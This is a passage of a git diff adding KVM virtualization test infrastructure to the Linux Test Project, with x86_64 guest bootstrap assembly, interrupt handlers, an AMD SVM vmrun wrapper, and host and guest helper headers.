%rsi + call memzero + + movq %rsp, 4(%rdx) + + /* + * Create a 16 byte descriptor starting at the + * 3rd 8-byte GDT slot.xs + */ + movq %rdx, %rax + shl $40, %rax + shr $24, %rax + movq %rdx, %rbx + shr $24, %rbx + shl $56, %rbx + or %rbx, %rax + movq $0x89, %rbx + shl $40, %rbx + or $.Ltss_end - kvm_tss - 1, %rbx + or %rbx, %rax + shr $32, %rdx + + lea kvm_gdt + 2*8, %rdi + mov %rax, (%rdi) + mov %rdx, 8(%rdi) + + mov $2 * 8, %ax + ltr %ax + + + /* Configure and enable interrupts */ + call kvm_init_interrupts + lidt kvm_idt_desc + sti + + /* + * Do just enough of initialization to get to a working + * -ffreestanding environment and call tst_main(void). + */ + lea __preinit_array_start, %rdi +1: + lea __preinit_array_end, %rsi + cmp %rdi, %rsi + je 2f + push %rdi + call *(%rdi) + pop %rdi + add $8, %rdi + jmp 1b +2: + + lea __init_array_start, %rdi +1: + lea __init_array_end, %rsi + cmp %rdi, %rsi + je 2f + push %rdi + call *(%rdi) + pop %rdi + add $8, %rdi + jmp 1b +2: + call main + jmp kvm_exit + +.global kvm_read_cregs +kvm_read_cregs: + mov %cr0, %rax + mov %rax, (%rdi) + mov %cr2, %rax + mov %rax, 8(%rdi) + mov %cr3, %rax + mov %rax, 16(%rdi) + mov %cr4, %rax + mov %rax, 24(%rdi) + retq + +.global kvm_read_sregs +kvm_read_sregs: + mov %cs, %ax + movw %ax, (%rdi) + mov %ds, %ax + movw %ax, 2(%rdi) + mov %es, %ax + movw %ax, 4(%rdi) + mov %fs, %ax + movw %ax, 6(%rdi) + mov %gs, %ax + movw %ax, 8(%rdi) + mov %ss, %ax + movw %ax, 10(%rdi) + retq + +handle_interrupt: + /* push CPU state */ + push %rbp + mov %rsp, %rbp + push %rax + push %rbx + push %rcx + push %rdx + push %rdi + push %rsi + push %r8 + push %r9 + push %r10 + push %r11 + + /* load handler arguments from the stack and call handler */ + movq %rbp, %rdi + addq $24, %rdi + movq 8(%rbp), %rsi + movq 16(%rbp), %rdx + cld + call tst_handle_interrupt + + /* restore CPU state and return */ + pop %r11 + pop %r10 + pop %r9 + pop %r8 + pop %rsi + pop %rdi + pop %rdx + pop %rcx + pop %rbx + pop %rax + pop %rbp + add $16, %rsp + iretq + +.macro create_intr_handler vector:req padargs=0 +.if \padargs + pushq $0 /* push dummy error code */ +.endif + pushq $\vector + jmp handle_interrupt +.endm + +.global kvm_handle_zerodiv +kvm_handle_zerodiv: + create_intr_handler 0, padargs=1 + +.global kvm_handle_debug +kvm_handle_debug: + create_intr_handler 1, padargs=1 + +.global kvm_handle_nmi +kvm_handle_nmi: + create_intr_handler 2, padargs=1 + +.global kvm_handle_breakpoint +kvm_handle_breakpoint: + create_intr_handler 3, padargs=1 + +.global kvm_handle_overflow +kvm_handle_overflow: + create_intr_handler 4, padargs=1 + +.global kvm_handle_bound_range_exc +kvm_handle_bound_range_exc: + create_intr_handler 5, padargs=1 + +.global kvm_handle_bad_opcode +kvm_handle_bad_opcode: + create_intr_handler 6, padargs=1 + +.global kvm_handle_device_error +kvm_handle_device_error: + create_intr_handler 7, padargs=1 + +.global kvm_handle_double_fault +kvm_handle_double_fault: + create_intr_handler 8 + +.global kvm_handle_invalid_tss +kvm_handle_invalid_tss: + create_intr_handler 10 + +.global kvm_handle_segfault +kvm_handle_segfault: + create_intr_handler 11 + +.global kvm_handle_stack_fault +kvm_handle_stack_fault: + create_intr_handler 12 + +.global kvm_handle_gpf +kvm_handle_gpf: + create_intr_handler 13 + +.global kvm_handle_page_fault +kvm_handle_page_fault: + create_intr_handler 14 + +.global kvm_handle_fpu_error +kvm_handle_fpu_error: + create_intr_handler 16, padargs=1 + +.global kvm_handle_alignment_error +kvm_handle_alignment_error: + create_intr_handler 17 + +.global kvm_handle_machine_check +kvm_handle_machine_check: + create_intr_handler 18, padargs=1 + +.global kvm_handle_simd_error +kvm_handle_simd_error: + create_intr_handler 19, padargs=1 + +.global kvm_handle_virt_error +kvm_handle_virt_error: + create_intr_handler 20, padargs=1 + +.global kvm_handle_cpe +kvm_handle_cpe: + create_intr_handler 21 + +.global kvm_handle_hv_injection +kvm_handle_hv_injection: + create_intr_handler 28, padargs=1 + +.global kvm_handle_vmm_comm +kvm_handle_vmm_comm: + create_intr_handler 29 + +.global kvm_handle_security_error +kvm_handle_security_error: + create_intr_handler 30 + +.global kvm_handle_bad_exception +kvm_handle_bad_exception: + create_intr_handler -1, padargs=1 + + +.global kvm_exit +kvm_exit: + movq $RESULT_ADDRESS, %rdi + movl $KVM_TEXIT, (%rdi) + hlt + jmp kvm_exit + +.global kvm_yield +kvm_yield: + hlt + ret + +.global kvm_svm_guest_entry +kvm_svm_guest_entry: + call *%rax +1: hlt + jmp 1b + +.global kvm_svm_vmrun +kvm_svm_vmrun: + pushq %rbx + pushq %rbp + pushq %r12 + pushq %r13 + pushq %r14 + pushq %r15 + + clgi + + /* Save full host state */ + movq $MSR_VM_HSAVE_PA, %rcx + rdmsr + shlq $32, %rdx + orq %rdx, %rax + vmsave + pushq %rax + + /* Load guest registers */ + pushq %rdi + movq (%rdi), %rax + /* %rax is loaded by vmrun from VMCB */ + movq 0x10(%rdi), %rbx + movq 0x18(%rdi), %rcx + movq 0x20(%rdi), %rdx + movq 0x30(%rdi), %rsi + movq 0x38(%rdi), %rbp + /* %rsp is loaded by vmrun from VMCB */ + movq 0x48(%rdi), %r8 + movq 0x50(%rdi), %r9 + movq 0x58(%rdi), %r10 + movq 0x60(%rdi), %r11 + movq 0x68(%rdi), %r12 + movq 0x70(%rdi), %r13 + movq 0x78(%rdi), %r14 + movq 0x80(%rdi), %r15 + movq 0x28(%rdi), %rdi + + vmload + vmrun + vmsave + + /* Save guest registers */ + movq %rdi, %rax + popq %rdi + movq %rbx, 0x10(%rdi) + movq %rcx, 0x18(%rdi) + movq %rdx, 0x20(%rdi) + /* %rax contains guest %rdi */ + movq %rax, 0x28(%rdi) + movq %rsi, 0x30(%rdi) + movq %rbp, 0x38(%rdi) + movq %r8, 0x48(%rdi) + movq %r9, 0x50(%rdi) + movq %r10, 0x58(%rdi) + movq %r11, 0x60(%rdi) + movq %r12, 0x68(%rdi) + movq %r13, 0x70(%rdi) + movq %r14, 0x78(%rdi) + movq %r15, 0x80(%rdi) + /* copy guest %rax and %rsp from VMCB*/ + movq (%rdi), %rsi + movq 0x5f8(%rsi), %rax + movq %rax, 0x08(%rdi) + movq 0x5d8(%rsi), %rax + movq %rax, 0x40(%rdi) + + /* Reload host state */ + popq %rax + vmload + + stgi + + popq %r15 + popq %r14 + popq %r13 + popq %r12 + popq %rbp + popq %rbx + retq + +.section .bss.pgtables, "aw", @nobits +.global kvm_pagetable +kvm_pagetable: + .skip 4096 + +kvm_pgtable_l2: + .skip 4096 + +kvm_pgtable_l3: + .skip 4 * 4096 + +kvm_pgtable_l4: + .skip 4 * 512 * 4096 + +.section .data +.align 8 +.global kvm_gdt +kvm_gdt: + .8byte 0 + gdt32_entry type=0x1a l=1 limit=0 g=0 /* Code segment long mode */ + .skip (KVM_GDT_SIZE-2)*8 /* TSS and other segment descriptors */ + +.Lgdt_end: +.global kvm_gdt_desc +kvm_gdt_desc: + .2byte .Lgdt_end - kvm_gdt - 1 + .8byte kvm_gdt + + +.section .bss.stack, "aw", @nobits +.global kvm_stack_bottom +kvm_stack_bottom: + .skip 2 * 4096 +.global kvm_stack_top +kvm_stack_top: + +.section .bss.tss +.global kvm_tss +kvm_tss: + .skip 0x6C +.Ltss_end: + +.section .bss +.align 8 +.global kvm_idt +kvm_idt: + .skip 16 * 256 +.Lidt_end: + +.section .data +.align 8 +.global kvm_idt_desc +kvm_idt_desc: + .2byte .Lidt_end - kvm_idt - 1 + .8byte kvm_idt diff --git a/testcases/kernel/kvm/include/kvm_common.h b/testcases/kernel/kvm/include/kvm_common.h new file mode 100644 index 00000000..377e3f6a --- /dev/null +++ b/testcases/kernel/kvm/include/kvm_common.h @@ -0,0 +1,39 @@ +/* SPDX-License-Identifier: GPL-2.0-or-later */ +/* + * Copyright (C) 2021 SUSE LLC + * + * Common definitions for communication between KVM guest and host. + */ + +#ifndef KVM_COMMON_H_ +#define KVM_COMMON_H_ + +#define KVM_TNONE -1 /* "No result" status value */ + +/* + * Result value for asynchronous notifications between guest and host. + * Do not use this value directly. Call tst_signal_host() or tst_wait_host() + * in guest code. The notification must be handled by another host thread + * and then the result value must be reset to KVM_TNONE. + */ +#define KVM_TSYNC 0xfe + +/* + * Result value indicating end of test. If the test program exits using + * the HLT instruction with any valid result value other than KVM_TEXIT or + * TBROK, KVM runner will automatically resume VM execution after printing + * the message. + */ +#define KVM_TEXIT 0xff + +#define KVM_RESULT_BASEADDR 0xfffff000 +#define KVM_RESULT_SIZE 0x1000 + +struct tst_kvm_result { + int32_t result; + int32_t lineno; + uint64_t file_addr; + char message[0]; +}; + +#endif /* KVM_COMMON_H_ */ diff --git a/testcases/kernel/kvm/include/kvm_guest.h b/testcases/kernel/kvm/include/kvm_guest.h new file mode 100644 index 00000000..96f24615 --- /dev/null +++ b/testcases/kernel/kvm/include/kvm_guest.h @@ -0,0 +1,99 @@ +/* SPDX-License-Identifier: GPL-2.0-or-later */ +/* + * Copyright (C) 2021 SUSE LLC + * + * Minimal test library for KVM tests + */ + +#ifndef KVM_GUEST_H_ +#define KVM_GUEST_H_ + +/* The main LTP include dir is intentionally excluded during payload build */ +#include "../../../../include/tst_res_flags.h" +#undef TERRNO +#undef TTERRNO +#undef TRERRNO + +#define TST_TEST_TCONF(message) \ + void main(void) { tst_brk(TCONF, message); } + +#define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0])) + +/* Round x up to the next multiple of a. + * a must be a power of 2. + */ +#define LTP_ALIGN(x, a) __LTP_ALIGN_MASK((x), (typeof(x))(a) - 1) +#define __LTP_ALIGN_MASK(x, mask) (((x) + (mask)) & ~(mask)) + +#define INTERRUPT_COUNT 32 + +typedef unsigned long size_t; +typedef long ssize_t; + +typedef signed char int8_t; +typedef unsigned char uint8_t; +typedef short int16_t; +typedef unsigned short uint16_t; +typedef int int32_t; +typedef unsigned int uint32_t; +typedef long long int64_t; +typedef unsigned long long uint64_t; +typedef unsigned long uintptr_t; + +#define NULL ((void *)0) + +void *memset(void *dest, int val, size_t size); +void *memzero(void *dest, size_t size); +void *memcpy(void *dest, const void *src, size_t size); + +char *strcpy(char *dest, const char *src); +char *strcat(char *dest, const char *src); +size_t strlen(const char *str); + +/* Exit the VM by looping on a HLT instruction forever */ +void kvm_exit(void) __attribute__((noreturn)); + +/* Exit the VM using the HLT instruction but allow resume */ +void kvm_yield(void); + +void tst_res_(const char *file, const int lineno, int result, + const char *message); +#define tst_res(result, msg) tst_res_(__FILE__, __LINE__, (result), (msg)) + +void tst_brk_(const char *file, const int lineno, int result, + const char *message) __attribute__((noreturn)); +#define tst_brk(result, msg) tst_brk_(__FILE__, __LINE__, (result), (msg)) + +/* + * Send asynchronous notification to host without stopping VM execution and + * return immediately. The notification must be handled by another host thread. + * The data argument will be passed to host in test_result->file_addr and + * can be used to send additional data both ways. + */ +void tst_signal_host(void *data); + +/* + * Call tst_signal_host(data) and wait for host to call + * tst_kvm_clear_guest_signal(). + */ +void tst_wait_host(void *data); + +void *tst_heap_alloc_aligned(size_t size, size_t align); +void *tst_heap_alloc(size_t size); + +/* Arch dependent: */ + +struct kvm_interrupt_frame; + +typedef int (*tst_interrupt_callback)(void *userdata, + struct kvm_interrupt_frame *ifrm, unsigned long errcode); + +extern const char *tst_interrupt_names[INTERRUPT_COUNT]; + +void tst_set_interrupt_callback(unsigned int vector, + tst_interrupt_callback func, void *userdata); + +/* Get the instruction pointer from interrupt frame */ +uintptr_t kvm_get_interrupt_ip(const struct kvm_interrupt_frame *ifrm); + +#endif /* KVM_GUEST_H_ */ diff --git a/testcases/kernel/kvm/include/kvm_host.h b/testcases/kernel/kvm/include/kvm_host.h new file mode 100644 index 00000000..06bcb5d4 --- /dev/null +++ b/testcases/kernel/kvm/include/kvm_host.h @@ -0,0 +1,153 @@ +/* SPDX-License-Identifier: GPL-2.0-or-later */ +/* + * Copyright (C) 2021 SUSE LLC + * + * KVM host library for setting up and running virtual machine tests. Tests + * can either use the default setup/run/host functions or use the advanced + * API to create customized VMs. + */ + +/* + * Most basic usage: + * + * #include "kvm_test.h" + * + * #ifdef COMPILE_PAYLOAD + * + * void main(void) + * { + * [VM guest code goes here] + * } + * + * #else + * + * [optional VM host setup/run/cleanup code goes here] + * + * static struct tst_test test = { + * .test_all = tst_kvm_run, + * .setup = tst_kvm_setup, + * .cleanup = tst_kvm_cleanup, + * }; + * + * #endif + */ + +#ifndef KVM_HOST_H_ +#define KVM_HOST_H_ + +#include +#include +#include "kvm_common.h" + +#define VM_KERNEL_BASEADDR 0x1000 +#define VM_RESET_BASEADDR 0xfffffff0 +#define VM_RESET_CODE_SIZE 8 + +#define MIN_FREE_RAM (10 * 1024 * 1024) +#define DEFAULT_RAM_SIZE (16 * 1024 * 1024) +#define MAX_KVM_MEMSLOTS 8 + +struct tst_kvm_instance { + int vm_fd, vcpu_fd; + struct kvm_run *vcpu_info; + size_t vcpu_info_size; + struct kvm_userspace_memory_region ram[MAX_KVM_MEMSLOTS]; + struct tst_kvm_result *result; +}; + +/* Test binary to be installed into the VM at VM_KERNEL_BASEADDR */ +extern const char kvm_payload_start[], kvm_payload_end[]; + +/* CPU reset code to be installed into the VM at VM_RESET_BASEADDR */ +extern const unsigned char tst_kvm_reset_code[VM_RESET_CODE_SIZE]; + +/* Default KVM test functions. */ +void tst_kvm_setup(void); +void tst_kvm_run(void); +void tst_kvm_cleanup(void); + +/* + * Validate KVM guest test result (usually passed via result->result) and + * fail with TBROK if the value cannot be safely passed to tst_res() or + * tst_brk(). + */ +void tst_kvm_validate_result(int value); + +/* + * Allocate memory slot for the VM. The returned pointer is page-aligned + * so the actual requested base address is at ret[baseaddr % pagesize]. + * + * The first argument is a VM file descriptor created by ioctl(KVM_CREATE_VM) + * + * The return value points to a guarded buffer and the user should not attempt + * to free() it. Any extra space added at the beginning or end for page + * alignment will be writable. + */ +void *tst_kvm_alloc_memory(struct tst_kvm_instance *inst, unsigned int slot, + uint64_t baseaddr, size_t size, unsigned int flags); + +/* + * Translate VM virtual memory address to the corresponding physical address. + * Returns 0 if the virtual address is unmapped or otherwise invalid. + */ +uint64_t tst_kvm_get_phys_address(const struct tst_kvm_instance *inst, + uint64_t addr); + +/* + * Find the struct tst_kvm_instance memory slot ID for the give virtual + * or physical VM memory address. Returns -1 if the address is not backed + * by any memory buffer. + */ +int tst_kvm_find_phys_memslot(const struct tst_kvm_instance *inst, + uint64_t paddr); +int tst_kvm_find_memslot(const struct tst_kvm_instance *inst, uint64_t addr); + +/* + * Convert VM virtual memory address to a directly usable pointer. + */ +void *tst_kvm_get_memptr(const struct tst_kvm_instance *inst, uint64_t addr); + +/* + * Find CPUIDs supported by KVM. x86_64 tests must set non-default CPUID, + * otherwise bootstrap will fail to initialize 64bit mode. + * Returns NULL if ioctl(KVM_GET_SUPPORTED_CPUID) is not supported. + * + * The argument is a file descriptor created by open("/dev/kvm") + */ +struct kvm_cpuid2 *tst_kvm_get_cpuid(int sysfd); + +/* + * Initialize the given KVM instance structure. Creates new KVM virtual machine + * with 1 virtual CPU, allocates VM RAM (max. 4GB minus one page) and + * shared result structure. KVM memory slots 0 and 1 will be set by this + * function. + */ +void tst_kvm_create_instance(struct tst_kvm_instance *inst, size_t ram_size); + +/* + * Execute the given KVM instance and print results. If ioctl(KVM_RUN) is + * expected to fail, pass the expected error code in exp_errno, otherwise + * set it to zero. Returns last value returned by ioctl(KVM_RUN). + */ +int tst_kvm_run_instance(struct tst_kvm_instance *inst, int exp_errno); + +/* + * Close the given KVM instance. + */ +void tst_kvm_destroy_instance(struct tst_kvm_instance *inst); + +/* + * Wait for given VM to call tst_signal_host() or tst_wait_host(). Timeout + * value is in milliseconds. Zero means no wait, negative value means wait + * forever. Returns 0 if signal was received, KVM_TEXIT if the VM exited + * without sending a signal, or -1 if timeout was reached. + */ +int tst_kvm_wait_guest(struct tst_kvm_instance *inst, int timeout_ms); + +/* + * Clear VM signal sent by tst_signal_host(). If the VM is waiting + * in tst_wait_host(), this function will signal the VM to resume execution. + */ +void tst_kvm_clear_guest_signal(struct tst_kvm_instance *inst); + +#endif /* KVM_HOST_H_ */ diff --git a/testcases/kernel/kvm/include/kvm_test.h b/testcases/kernel/kvm/include/kvm_test.h new file mode 100644 index 00000000..4d67adc9 --- /dev/null +++ b/testcases/kernel/kvm/include/kvm_test.h @@ -0,0 +1,19 @@ +/* SPDX-License-Identifier: GPL-2.0-or-later */ +/* + * Copyright (C) 2021 SUSE LLC + * + * Minimal test library for KVM tests + */ + +#ifndef KVM_TEST_H_ +#define KVM_TEST_H_ + +#ifdef COMPILE_PAYLOAD +# include "kvm_guest.h" +# include "kvm_common.h" +#else +# include "tst_test.h" +# include "kvm_host.h" +#endif /* COMPILE_PAYLOAD */ + +#endif /* KVM_TEST_H_ */ diff --git a/testcases/kernel/kvm/include/kvm_x86.h b/testcases/kernel/kvm/include/kvm_x86.h new file mode 100644 index 00000000..bc36c0e0 --- /dev/null +++ b/testcases/kernel/kvm/include/kvm_x86.h @@ -0,0 +1,229 @@ +/* SPDX-License-Identifier: GPL-2.0-or-later */ +/* + * Copyright (C) 2021 SUSE LLC + * + * x86-specific KVM helper functions and structures + */ + +#ifndef KVM_X86_H_ +#define KVM_X86_H_ + +#include "kvm_test.h" + +#define PAGESIZE 0x1000 +#define KVM_GDT_SIZE 32 + +/* Interrupts */ +#define X86_INTR_COUNT 256 + +#define INTR_ZERODIV 0 +#define INTR_DEBUG 1 +#define INTR_NMI 2 +#define INTR_BREAKPOINT 3 +#define INTR_OVERFLOW 4 +#define INTR_BOUND_RANGE_EXC 5 +#define INTR_BAD_OPCODE 6 +#define INTR_DEVICE_ERROR 7 +#define INTR_DOUBLE_FAULT 8 +#define INTR_INVALID_TSS 10 +#define INTR_SEGFAULT 11 +#define INTR_STACK_FAULT 12 +#define INTR_GPF 13 +#define INTR_PAGE_FAULT 14 +#define INTR_FPU_ERROR 16 +#define INTR_ALIGNMENT_ERROR 17 +#define INTR_MACHINE_CHECK 18 +#define INTR_SIMD_ERROR 19 +#define INTR_VIRT_ERROR 20 +#define INTR_CPE 21 +#define INTR_HV_INJECTION 28 +#define INTR_VMM_COMM 29 +#define INTR_SECURITY_ERROR 30 + + +/* Segment descriptor flags */ +#define SEGTYPE_LDT 0x02 +#define SEGTYPE_TSS 0x09 +#define SEGTYPE_TSS_BUSY 0x0b +#define SEGTYPE_CALL_GATE 0x0c +#define SEGTYPE_INTR_GATE 0x0e +#define SEGTYPE_TRAP_GATE 0x0f +#define SEGTYPE_RODATA 0x10 +#define SEGTYPE_RWDATA 0x12 +#define SEGTYPE_STACK 0x16 +#define SEGTYPE_CODE 0x1a +#define SEGTYPE_MASK 0x1f + +#define SEGFLAG_NSYSTEM 0x10 +#define SEGFLAG_PRESENT 0x80 +#define SEGFLAG_CODE64 0x200 +#define SEGFLAG_32BIT 0x400 +#define SEGFLAG_PAGE_LIMIT 0x800 + + +/* CPUID constants */ +#define CPUID_GET_INPUT_RANGE 0x80000000 +#define CPUID_GET_EXT_FEATURES 0x80000001 +#define CPUID_GET_SVM_FEATURES 0x8000000a + + +/* Model-specific CPU register constants */ +#define MSR_EFER 0xc0000080 +#define MSR_VM_CR 0xc0010114 +#define MSR_VM_HSAVE_PA 0xc0010117 + +#define EFER_SCE (1 << 0) /* SYSCALL/SYSRET instructions enabled */ +#define EFER_LME (1 << 8) /* CPU is running in 64bit mode */ +#define EFER_LMA (1 << 10) /* CPU uses 64bit memory paging (read-only) */ +#define EFER_NXE (1 << 11) /* Execute disable bit active */ +#define EFER_SVME (1 << 12) /* AMD SVM instructions enabled */ + +#define VM_CR_DPD (1 << 0) +#define VM_CR_R_INIT (1 << 1) +#define VM_CR_DIS_A20M (1 << 2) +#define VM_CR_LOCK (1 << 3) +#define VM_CR_SVMDIS (1 << 4) + +/* Control register constants */ +#define CR4_VME (1 << 0) +#define CR4_PVI (1 << 1) +#define CR4_TSD (1 << 2) +#define CR4_DE (1 << 3) +#define CR4_PSE (1 << 4) +#define CR4_PAE (1 << 5) +#define CR4_MCE (1 << 6) +#define CR4_PGE (1 << 7) +#define CR4_PCE (1 << 8) +#define CR4_OSFXSR (1 << 9) +#define CR4_OSXMMEXCPT (1 << 10) +#define CR4_UMIP (1 << 11) +#define CR4_LA57 (1 << 12) +#define CR4_VMXE (1 << 13) +#define CR4_SMXE (1 << 14) +#define CR4_FSGSBASE (1 << 16) +#define CR4_PCIDE (1 << 17) +#define CR4_OSXSAVE (1 << 18) +#define CR4_KL (1 << 19) +#define CR4_SMEP (1 << 20) +#define CR4_SMAP (1 << 21) +#define CR4_PKE (1 << 22) +#define CR4_CET (1 << 23) +#define CR4_PKS (1 << 24) + +struct intr_descriptor { + uint16_t offset_lo; + uint16_t selector; + uint8_t ist; + uint8_t flags; +#if defined(__x86_64__) + uint64_t offset_hi; /* top 16 bits must be set to 0 */ + uint16_t padding; +#else /* defined(__x86_64__) */ + uint16_t offset_hi; +#endif /* defined(__x86_64__) */ +} __attribute__((__packed__)); + +struct segment_descriptor { + unsigned int limit_lo : 16; + unsigned int baseaddr_lo : 24; + unsigned int flags_lo : 8; + unsigned int limit_hi : 4; + unsigned int flags_hi : 4; + unsigned int baseaddr_hi : 8; +} __attribute__((__packed__)); + +struct segment_descriptor64 { + unsigned int limit_lo : 16; + unsigned int baseaddr_lo : 24; + unsigned int flags_lo : 8; + unsigned int limit_hi : 4; + unsigned int flags_hi : 4; + uint64_t baseaddr_hi : 40; + uint32_t reserved; +} __attribute__((__packed__)); + +struct page_table_entry_pae { + unsigned int present: 1; + unsigned int writable: 1; + unsigned int user_access: 1; + unsigned int write_through: 1; + unsigned int disable_cache: 1; + unsigned int accessed: 1; + unsigned int dirty: 1; + unsigned int page_type: 1; + unsigned int global: 1; + unsigned int padding: 3; + uint64_t address: 40; + unsigned int padding2: 7; + unsigned int prot_key: 4; + unsigned int noexec: 1; +} __attribute__((__packed__)); + +struct kvm_cpuid { + unsigned int eax, ebx, ecx, edx; +}; + +struct kvm_cregs { + unsigned long cr0, cr2, cr3, cr4; +}; + +struct kvm_sregs { + uint16_t cs, ds, es, fs, gs, ss; +}; + +struct kvm_regs64 { + uint64_t rax, rbx, rcx, rdx, rdi, rsi, rbp, rsp; + uint64_t r8, r9, r10, r11, r12, r13, r14, r15; +}; + +extern struct page_table_entry_pae kvm_pagetable[]; +extern struct intr_descriptor kvm_idt[X86_INTR_COUNT]; +extern struct segment_descriptor kvm_gdt[KVM_GDT_SIZE]; + +/* Page table helper functions */ +uintptr_t kvm_get_page_address_pae(const struct page_table_entry_pae *entry); + +/* Segment descriptor table functions */ +void kvm_set_segment_descriptor(struct segment_descriptor *dst, + uint64_t baseaddr, uint32_t limit, unsigned int flags); +void kvm_parse_segment_descriptor(struct segment_descriptor *src, + uint64_t *baseaddr, uint32_t *limit, unsigned int *flags); +int kvm_find_free_descriptor(const struct segment_descriptor *table, + size_t size); +unsigned int kvm_create_stack_descriptor(struct segment_descriptor *table, + size_t tabsize, void *stack_base); + +/* Functions for querying CPU info and status */ +void kvm_get_cpuid(unsigned int eax, unsigned int ecx, struct kvm_cpuid *buf); +void kvm_read_cregs(struct kvm_cregs *buf); +void kvm_read_sregs(struct kvm_sregs *buf); +uint64_t kvm_rdmsr(unsigned int msr); +void kvm_wrmsr(unsigned int msr, uint64_t value); + +/* Low-level interrupt handlers, DO NOT call directly */ +void kvm_handle_bad_exception(void); +void kvm_handle_zerodiv(void); +void kvm_handle_debug(void); +void kvm_handle_nmi(void); +void kvm_handle_breakpoint(void); +void kvm_handle_overflow(void); +void kvm_handle_bound_range_exc(void); +void kvm_handle_bad_opcode(void); +void kvm_handle_device_error(void); +void kvm_handle_double_fault(void); +void kvm_handle_invalid_tss(void); +void kvm_handle_segfault(void); +void kvm_handle_stack_fault(void); +void kvm_handle_gpf(void); +void kvm_handle_page_fault(void); +void kvm_handle_fpu_error(void); +void kvm_handle_alignment_error(void); +void kvm_handle_machine_check(void); +void kvm_handle_simd_error(void); +void kvm_handle_virt_error(void); +void kvm_handle_cpe(void); +void kvm_handle_hv_injection(void); +void kvm_handle_vmm_comm(void); +void kvm_handle_security_error(void); + +#endif /* KVM_X86_H_ */ diff --git a/testcases/kernel/kvm/include/kvm_x86_svm.h b/testcases/kernel/kvm/include/kvm_x86_svm.h new file mode 100644 index 00000000..b4b1b80e --- /dev/null +++ b/testcases/kernel/kvm/include/kvm_x86_svm.h @@ -0,0 +1,166 @@ +/* SPDX-License-Identifier: GPL-2.0-or-later */ +/* + * Copyright (C) 2023 SUSE LLC + * + * x86-specific KVM helper functions and structures for AMD SVM + */ + +#ifndef KVM_X86_SVM_H_ +#define KVM_X86_SVM_H_ + +#include "kvm_x86.h" + +/* CPUID_GET_SVM_FEATURES flags returned in EDX */ +#define SVM_CPUID_NESTED_PAGING (1 << 0) +#define SVM_CPUID_LBR_VIRT (1 << 1) +#define SVM_CPUID_LOCK (1 << 2) +#define SVM_CPUID_NRIP_SAVE (1 << 3) +#define SVM_CPUID_TSC_RATE_MSR (1 << 4) +#define SVM_CPUID_VMCB_CLEAN (1 << 5) +#define SVM_CPUID_FLUSH_ASID (1 << 6) +#define SVM_CPUID_DECODE_ASSIST (1 << 7) +#define SVM_CPUID_PAUSE_FILTER (1 << 10) +#define SVM_CPUID_PAUSE_THRESHOLD (1 << 12) +#define SVM_CPUID_AVIC (1 << 13) +#define SVM_CPUID_VMSAVE_VIRT (1 << 15) +#define SVM_CPUID_VGIF (1 << 16) +#define SVM_CPUID_GMET (1 << 17) +#define SVM_CPUID_X2AVIC (1 << 18) +#define SVM_CPUID_SSSCHECK (1 << 19) +#define SVM_CPUID_SPEC_CTRL (1 << 20) +#define SVM_CPUID_ROGPT (1 << 21) +#define SVM_CPUID_HOST_MCE_OVERRIDE (1 << 23) +#define SVM_CPUID_TLBI_CTL (1 << 24) +#define SVM_CPUID_NMI_VIRT (1 << 25) +#define SVM_CPUID_IBS_VIRT (1 << 26) + +/* SVM event intercept IDs */ +#define SVM_INTERCEPT_HLT 0x78 +#define SVM_INTERCEPT_VMRUN 0x80 +#define SVM_INTERCEPT_VMLOAD 0x82 +#define SVM_INTERCEPT_VMSAVE 0x83 +#define SVM_INTERCEPT_STGI 0x84 +#define SVM_INTERCEPT_CLGI 0x85 +#define SVM_INTERCEPT_MAX 0x95 + +/* SVM vmrun exit codes */ +#define SVM_EXIT_HLT 0x78 +#define SVM_EXIT_VMRUN 0x80 +#define SVM_EXIT_VMLOAD 0x82 +#define SVM_EXIT_VMSAVE 0x83 +#define SVM_EXIT_STGI 0x84 +#define SVM_EXIT_CLGI 0x85 +#define SVM_EXIT_AVIC_NOACCEL 0x402 +#define SVM_EXIT_INVALID ((uint64_t)-1) + +/* SVM VMCB flags */ +#define SVM_INTR_AVIC (1 << 7) + +struct kvm_vmcb_descriptor { + uint16_t selector; + uint16_t attrib; + uint32_t limit; + uint64_t base; +}; + +struct kvm_vmcb { + /* VMCB control area */ + uint8_t intercepts[20]; + uint8_t reserved1[44]; + uint64_t iopm_base_addr; + uint64_t msrpm_base_addr; + uint64_t tsc_offset; + uint32_t guest_asid; + uint32_t tlb_control; + uint8_t virtual_tpr; + uint8_t virtual_irq; + unsigned char virt_intr_prio: 4; + unsigned char virt_ignore_tpr: 4; + uint8_t virt_intr_ctl; + uint8_t virt_intr_vector; + uint8_t reserved2[3]; + uint64_t interrupt_shadow; + uint64_t exitcode; + uint64_t exitinfo1; + uint64_t exitinfo2; + uint64_t exit_int_info; + uint64_t enable_nested_paging; + uint64_t avic_bar; + uint64_t ghcb_gpa; + uint64_t event_injection; + uint64_t nested_cr3; + uint64_t virt_ext; + uint32_t vmcb_clean; + uint8_t reserved3[4]; + uint64_t next_rip; + uint8_t instr_len; + uint8_t instr_bytes[15]; + uint64_t avic_backing_page; + uint8_t reserved4[8]; + uint64_t avic_logical_ptr; + uint64_t avic_physical_ptr; + uint8_t reserved5[8]; + uint64_t vmsa_pa; + uint64_t vmgexit_rax; + uint8_t vmgexit_cpl; + uint8_t reserved6[0x2e7]; + + /* VMCB state save area */ + struct kvm_vmcb_descriptor es, cs, ss, ds, fs, gs; + struct kvm_vmcb_descriptor gdtr, ldtr, idtr, tr; + uint8_t reserved7[43]; + uint8_t cpl; + uint8_t reserved8[4]; + uint64_t efer; + uint8_t reserved9[112]; + uint64_t cr4; + uint64_t cr3; + uint64_t cr0; + uint64_t dr7; + uint64_t dr6; + uint64_t rflags; + uint64_t rip; + uint8_t reserved10[88]; + uint64_t rsp; + uint64_t s_cet; + uint64_t ssp; + uint64_t isst_addr; + uint64_t rax; + uint64_t star; + uint64_t lstar; + uint64_t cstar; + uint64_t sfmask; + uint64_t kernel_gs_base; + uint64_t sysenter_cs; + uint64_t sysenter_esp; + uint64_t sysenter_eip; + uint64_t cr2; + uint8_t reserved11[32]; + uint64_t guest_pat; + uint8_t padding[0x990]; +}; + +struct kvm_svm_vcpu { + struct kvm_vmcb *vmcb; + struct kvm_regs64 regs; +}; + +/* AMD SVM virtualization helper functions */ +int kvm_is_svm_supported(void); +int kvm_get_svm_state(void); +void kvm_set_svm_state(int enabled); + +void kvm_init_svm(void); /* Fully initialize host SVM environment */ +struct kvm_vmcb *kvm_alloc_vmcb(void); +void kvm_vmcb_copy_gdt_descriptor(struct kvm_vmcb_descriptor *dst, + unsigned int gdt_id); +void kvm_vmcb_set_intercept(struct kvm_vmcb *vmcb, 